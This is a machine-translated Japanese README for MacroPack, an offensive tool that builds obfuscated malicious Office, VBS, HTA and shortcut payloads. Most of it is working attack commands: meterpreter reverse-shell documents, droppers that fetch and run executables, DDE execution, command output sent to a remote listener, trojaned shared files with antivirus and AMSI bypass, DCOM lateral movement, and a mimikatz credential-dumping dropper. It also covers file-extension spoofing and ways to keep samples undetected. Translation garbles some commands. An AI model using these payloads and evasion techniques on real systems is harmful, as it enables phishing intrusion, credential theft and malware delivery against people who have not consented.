MacroPack Community は、MS Office ドキュメントや VBS のような形式などのレトロな形式の難読化と生成を自動化するために使用されるツールです。さまざまなショートカット形式も処理します。このツールは、レッド チーム、ペンテスト、デモ、ソーシャル エンジニアリングの評価に使用できます。 MacroPack は、マルウェア対策ソリューションを簡素化し、vb ソースから最終的な Office ドキュメントまたはその他のペイロード タイプまでのプロセスをバイパスおよび自動化します。使い方はとても簡単です:
設定は必要ありません
単一行のコードを使用してすべてを実行できます
大部分の Office 形式および VBS ベースの形式の生成
高度なソーシャル エンジニアリング攻撃 (電子メール、USB キーなど) 用に設計されたペイロード
このツールは、一般的な侵入テスト ツール (Metasploit、Empire など) によって生成されたペイロードと互換性があります。標準入力から入力を読み取り、別のツールに静かに出力することができるため、他のツールと組み合わせるのも簡単です。このツールは Python3 で書かれており、Linux と Windows の両方のプラットフォームで動作します。
注: Office ドキュメントの自動生成またはトロイの木馬機能を使用するには、適切な MS Office アプリケーションがインストールされた Windows プラットフォームが必要です。
このツールはさまざまな難読化技術をすべて自動で使用します。難読化機能は、MacroPack で生成できるすべての VBA および VBS ベースの形式と互換性があります。
基本的な難読化 (-o オプション) には次のものが含まれます。
関数の名前変更
変数の名前を変更する
スペースの削除
コメントの削除
エンコード文字列
MacroPack は、数種類の MS Office ドキュメントおよびスクリプト形式を生成できます。形式は、指定されたファイル拡張子に応じて自動的に推測されます。ファイルの生成は、オプション --generate または -G を使用して行われます。
MacroPack pro バージョンでは、オプション --trojan または -T を使用して既存の Office ファイルにトロイの木馬を仕掛けることもできます。
Ms Office サポートされている形式は次のとおりです。
MS Word (.doc、.docm、.docx、.dotm)
MS Excel (.xls、.xlsm、.xslx、.xltm)
MS PowerPoint (.pptm、.potm)
MS アクセス (.accdb、.mdb)
MS Visio (.vsd、.vsdm)
MS プロジェクト (.mpp)
スクリプト (txt) でサポートされている形式は次のとおりです。
VBA テキスト ファイル (.vba)
VBS テキスト ファイル (.vbs)。
Windows スクリプト ファイル (.wsf)
Windows スクリプト コンポーネント スクリプトレット (.wsc、.sct)
HTML アプリケーション (.hta)
XSLT スタイルシート (.xsl) (はい、MS XSLT にはスクリプトが含まれています ^^)
ショートカット/シェルでサポートされている形式は次のとおりです。
シェルリンク (.lnk)
エクスプローラー コマンド ファイル (.scf)
URL ショートカット (.url)
Groove ショートカット (.glk)
設定ショートカット (.settingcontent-ms)
MS ライブラリ (.library-ms)
セットアップ情報(.inf)
Excel Web クエリ (.iqy)
Visual Studio プロジェクト (.csproj)
コマンドライン (.cmd)
SYmbolic LinkK (.slk) Pro バージョンのみ
圧縮 HTML ヘルプ (.chm) Pro バージョンのみ
すべてのスクリプトおよびショートカット形式 (LNK を除く) は、MacroPack の Linux バージョンでも生成できることに注意してください。
このソフトウェアは、システム所有者の合法的かつ正式な許可を得て、レッド チームの取り組み、ペネトレーション テスト、フィッシング シミュレーション、セキュリティ調査、またはその他の形式のセキュリティ評価のコンテキストでのみ使用する必要があります。事前の同意なしにターゲットを攻撃するためにこのソフトウェアを使用することは禁止されており、違法です。適用されるすべての地方法、州法、連邦法および国内法を遵守するのはユーザーの責任です。
当社は、このソフトウェアの使用によって引き起こされる可能性のある誤用または損害に対して一切の責任を負いません。
MacroPack コミュニティでは、MacroPack のすべての機能とオプションを利用できるわけではありません。オンラインで入手できるのはコミュニティ バージョンのみです。プロ バージョンの機能はプロセスを真に「武器化」しているため、アクセスは専門家に限定されています。
プロ モードには次のような機能が含まれます。
高度なマルウェア対策バイパス
高度なシェルコード挿入方法
コマンドライン難読化 (Dosfuscation)
ASR および AMSI バイパス
VBA/VBS ペイロードの自己解凍
既存の MS Office ドキュメント、ヘルプ ファイル、Visual Studio プロジェクトにトロイの木馬を仕掛けます。
おとりペイロードを埋め込む
DCOM オブジェクトを使用した横方向の移動
アンチリバースエンジニアリング
サンドボックスの検出
Excel 4.0 SYLK やコンパイルされたヘルプ ファイルなど、より多くの形式のサポート
特殊な形式から高度な VB ペイロードを実行する
武器化されたテンプレートと追加のテンプレート (EMPIRE、AUTOSHELLCODE など)
Excel 4.0 マクロ (XLM)
さらにもっと…
いくつかの短いデモ ビデオは BallisKit Vimeo チャンネルで入手できます。
重要: MacroPack pro について私に連絡したい場合は、私の emeric.nasi [at] sevagas.com の電子メール アドレスを使用してください。 Pro バージョンに関する匿名の問い合わせには回答しませんが、専門的なメールにのみ回答します。
https://github.com/sevagas/macro_pack/releases/ から最新のバイナリを入手します。
正規の Microsoft Office がインストールされている PC にバイナリをダウンロードします。
コンソールを開いて、CD をバイナリ ディレクトリにコピーし、バイナリを呼び出すだけです。これは非常に簡単です。
マクロ_パック.exe --ヘルプ
MacroPack をビルドするには、Windows マシンを使用する必要があります。依存関係をダウンロードしてインストールします。
git clone https://github.com/sevagas/macro_pack.gitcdmacro_pack pip3 install -r 要件.txt
このツールは Python 3 に含まれているため、Python3 のインストールを開始するだけです。元:
python3macro_pack.py --help# または pythonmacro_pack.py --help # python3 がデフォルトのインストールの場合
pyinstaller を使用してスタンドアロン exe を生成する場合:
pyinstaller をインストールします: pip install pyinstaller
「build.bat」スクリプトをダブルクリックします。
結果のmacro_pack.exeはbinディレクトリ内にあります。
サポートされているすべてのファイル形式をリストします
マクロ_パック.exe --listformats
利用可能なすべてのテンプレートをリストする
マクロ_パック.exe --listtemplates
msfvenom によって生成された vba ファイルを難読化し、結果を新しい VBA ファイルに置きます。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |マクロ_パック.exe -o -G meterobf.vba
Empire ステージャー VBA ファイルを難読化し、MS Word ドキュメントを生成します。
マクロ_パック.exe -f Empire.vba -o -G myDoc.docm
難読化されたドロッパーを含む MS Excel ファイルを生成します (payload.exe をダウンロードし、dropped.exe として保存します)。
echo "https://myurl.url/payload.exe" "dropped.exe" | マクロ_パック.exe -o -t DROPPER -G "drop.xlsm"
難読化された VBA リバース メータープリッター ペイロードを含む Word 97 ドキュメントを共有フォルダー内に作成する
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G REMOTE-PCSharemeter.doc
DROPPER_PS テンプレートを使用して、powershell.exe を使用せずに Empire Launcher ステージャーをダウンロードして実行します
# 1 Empire lauchcher を含むファイルを生成します。 # 2 そのファイルを Web サーバーで利用できるようにします。たとえば、netcat を使用します。{ echo -ne "HTTP/1.0 200 OKrnrn";猫帝国_stager.cmd; } | nc -l -p 6666 -q1# 3 Macro_pack を使用して、Excel fileecho http://10.5.5.12:6543/empire_stager.cmd に DROPPER_PS ペイロードを生成します。 macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 ターゲット上で実行すると、マクロは PowerShdll をダウンロードし、rundll32 で実行し、stager をダウンロードして実行します。
Dynamic Data Exchange (DDE) 攻撃による calc.exe の実行
エコー計算.exe |マクロ_パック.exe --dde -G calc.xslx
Dynamic Data Exchange (DDE) 攻撃を使用して PowerShell 経由でファイルをダウンロードして実行する
# 1 resourcecommunityps_dl_exec.cmd でターゲット ファイルの URL を変更します# 2 documentmacro_pack.exe にダウンロード実行コマンドを埋め込みます --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Excel Web クエリ ファイルと DDE 経由でコマンド (notepad.exe) を実行します。
# 1 次の content=cmd|' で dde.dat ファイルを作成します/c notepad.exe'!A1# 2 Web サーバー上で dde.dat をホストします。マクロ_パックを使用 -l# 3 .iqy ファイルを生成するmacro_pack.exe -G dde.iqy
難読化されたメータープリターリバース TCP VBS ファイルを生成して実行します
# 1 meterpreter テンプレートと Metasploit リソース fileechoに基づいて難読化された VBS を生成します。マクロ_パック.exe -t METERPRETER -o -G meter.vbs #2 攻撃者のマシン上でメータープリッター リスナーをセットアップする msfconsole -r meterpreter.rc # 3 wscript で VBS ファイルを実行します (meterpreter ペイロードが 32 ビットであるため、32 ビットの wscript を実行します)%windir%SysWoW64wscript meter.vbs
「systeminfo」を実行し、192.168.0.5 をリッスンする別のマクロパックに結果を返す難読化された HTA ファイルを生成します。
# 1 REMOTE_CMD templateecho を使用して HTA ファイルを生成します http://192.168.0.5:1234/a "systeminfo" |マクロ_パック.exe -t REMOTE_CMD -o -G info.hta #2 192.168.0.5 で、macro_pack を http リスナーとして開きます マクロ_パック.exe -l 。 --port=1234# 3 mshta で hta ファイルを実行します mshta.exe フル/パス/to/info.hta
クリックするとローカル HTA ファイルを実行する URL ショートカットを生成します。
echo "file://C:Usersユーザー名Desktophello.hta" |マクロ_パック.exe -G yop.url
calc.exe アイコンを使用して calc.exe を実行する cmd を実行する lnk ショートカットを生成します。
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' |マクロ_パック.exe -G calc.lnk
ドロッパーを使用して、既存の共有「report.xlsm」ファイルにトロイの木馬を仕掛けます。アンチ AV およびアンチリバース機能を使用します。
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
VBA 自己エンコードされた x64 リバース メータープリッター VBA ペイロードを含む Word ファイルを生成します (ほとんどの AV はバイパスされます)。移行前にメータープリターが生き続ける必要があるため、キープアライブが必要です。
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
逆生のシェルコードを使用して PowerPoint ファイルをトロイの木馬に感染させます。マクロは難読化され、AMSI とほとんどのウイルス対策プログラムをバイパスするために破壊されています。
エコービーコン.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
DCOM を使用してリモート PC 上でマクロを実行します。
REM ステップ 1: 十分な権限があることを確認します。net use 192.168.0.8c$ /user:domainusernamepasswordREM ステップ 2: ドキュメントを生成します。たとえば、ここでは、meterpreter reverse TCP Excel fileecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsmREM ステップ 3: ドキュメントをリモート sharecopy meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM のどこかにコピーします。 ステップ 4: 実行します!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM ステップ 2 ~ 4 を 1 つのステップで実行:echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersユーザー名メーター.xlsm" --dcom="192.168.0.8c$usersユーザー名メーター.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
テンプレートは、-t、--template=TEMPLATE_NAME を他のオプションと組み合わせて使用して呼び出すことができます。
利用可能なテンプレートはすべてここにあります。
hello メッセージとマクロに関する認識を出力するだけです。
このテンプレートに作成者の名前またはメールアドレスを指定します。
-> 例: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
コマンドを実行します。
このテンプレートにコマンドラインを追加します
-> 例 (xslt ファイルから calc.exe をポップ): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
コマンドラインを実行し、結果をリモート HTTP サーバーに送信します。
このテンプレートにサーバー URL と実行するコマンドを指定します。
-> 例: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# 任意の Web サーバーまたは netcatnc で結果をキャッチ -l -p 7777
ファイルをダウンロードして実行します。
このテンプレートにファイル URL とターゲット ファイル パスを指定します。
-> 例: echo
rundll32 を使用して Powershell スクリプトをダウンロードして実行します (ブロックされた powershell.exe をバイパスするため)。
注: このペイロードは、Github から PowerShdll をダウンロードします。
このテンプレートに、実行する PowerShell スクリプトの URL を指定します。
-> 例: echo "
別の拡張子を持つ DLL をダウンロードし、Office VBA を使用して実行します。
-> 例、Office を使用して meterpreter DLL をロードします。
REM meterpreter dll payloadmsfvenom.bat を生成します -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dllREM ポート 6666 で netcat を使用するなど、Web サーバーで利用できるようにします{ echo -ne "HTTP/1.0 200 OKrnrn" ;猫メーター.dll; } | nc -l -p 6666 -q1REM DLL をダウンロードし、REM と呼び出す OFFice ファイルを作成します。DLL の URL は http://192.168.0.5:6666/normal.html で、.asd fileecho "http://192.168" として保存されます。 .0.5:6666/normal.html」を実行 |マクロ_パック.exe -t DROPPER_DLL -o -G meterdll.xls
Cn33liz の MacroMeter を使用した Meterpreter リバース TCP テンプレート。
このテンプレートは、Cn33liz によってビルドされた CSharp meterpreter Stager で、James Forshaw の DotNetToJScript を使用して VBA 内に埋め込まれています。
このテンプレートに、リッスンする mfsconsole の IP とポートを指定します。
-> 例: echo
このテンプレートは、Metasploit ハンドラーを作成するための meterpreter.rc ファイルも生成します。
-> 例: msfconsole -r meterpreter.rc
埋め込みファイルをドロップして実行します。
--embed オプションと組み合わせると、TEMP フォルダの下にランダムな名前の埋め込みファイルがドロップされて実行されます。
-> 例: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
--embed オプションと組み合わせると、指定された DLL 内の関数をドロップして呼び出します。
このテンプレートに、DLL で呼び出す関数の名前とパラメーターを指定します。
-> 例 1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> 例 2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
さまざまな機能は、ローカルにインストールされたマルウェア対策ソリューションおよびオンライン サービスに対してテストされました。数種類のペイロードと MacroPack 機能を使用して複数のテストを実行しました。静的ウイルス対策の大部分は、単純な「難読化」オプションによって回避されます。ただし、ほとんどの無料ツールと同様に、ペイロードは通常、AMSI などの動作分析によって捕捉されます。 MacroPack プロ モードで利用できる機能は通常、AMSI を含む完全な AV バイパスを許可します。
警告:サンプルをオンライン スキャナー (例: VirusTotal) に送信しないでください。これは、ステルス マクロを破る最良の方法です。また、NoDistribute などの非レポート サイトに投稿しないことをお勧めします。これらのサイトが送信したデータをどのように扱うかはわかりません。 Macro_pack AV 検出に問題がある場合は、アドバイスを求めるか、問題やプル リクエストを送信してください。
MacroPack Pro に関するブログ投稿:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (MacroPack Pro の Excel 4.0 ペイロード)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (MacroPack Pro での XLM インジェクション)
MS Office、VBS、その他のレトロなセキュリティを使用したハッキングに関するブログ投稿:
https://blog.sevagas.com/?Bypass-Windows-Defender- Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (VBOM 保護をバイパスする方法を含む、完全な VBA RAT を作成します)
http://blog.sevagas.com/?Hacking-around-HTA-files (非 hta ファイルおよび hta ポリグロットで hta コードを実行)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (動的データ交換攻撃について)
https://enigma0x3.net/2017/09/11/ternate-movement-using-excel-application-and-dcom/
その他の役立つリンク:
https://github.com/p3nt4/PowerShdll (DLL のみを使用して PowerShell を実行)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (PowerShdll VBA 実装で PowerShell スクリプトを実行)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/ Attack-surface-reduction-exploit-guard
私のTwitterアカウント @EmericNasi までお気軽にメッセージください。
電子メール:
emeric.nasi[ at ]sevagas.com
ena.sevagas[at]protonmail.com
重要: MacroPack pro について私に連絡したい場合は、sevagas.com の電子メール アドレスを使用してください。また、Pro バージョンに関する匿名の問い合わせには回答せず、専門的なメールのみに回答することにご注意ください。
Apache ライセンス 2.0
著作権 2017,2018,2019,2020,2021,2022 エメリック “シオ” ナシ (blog.sevagas.com)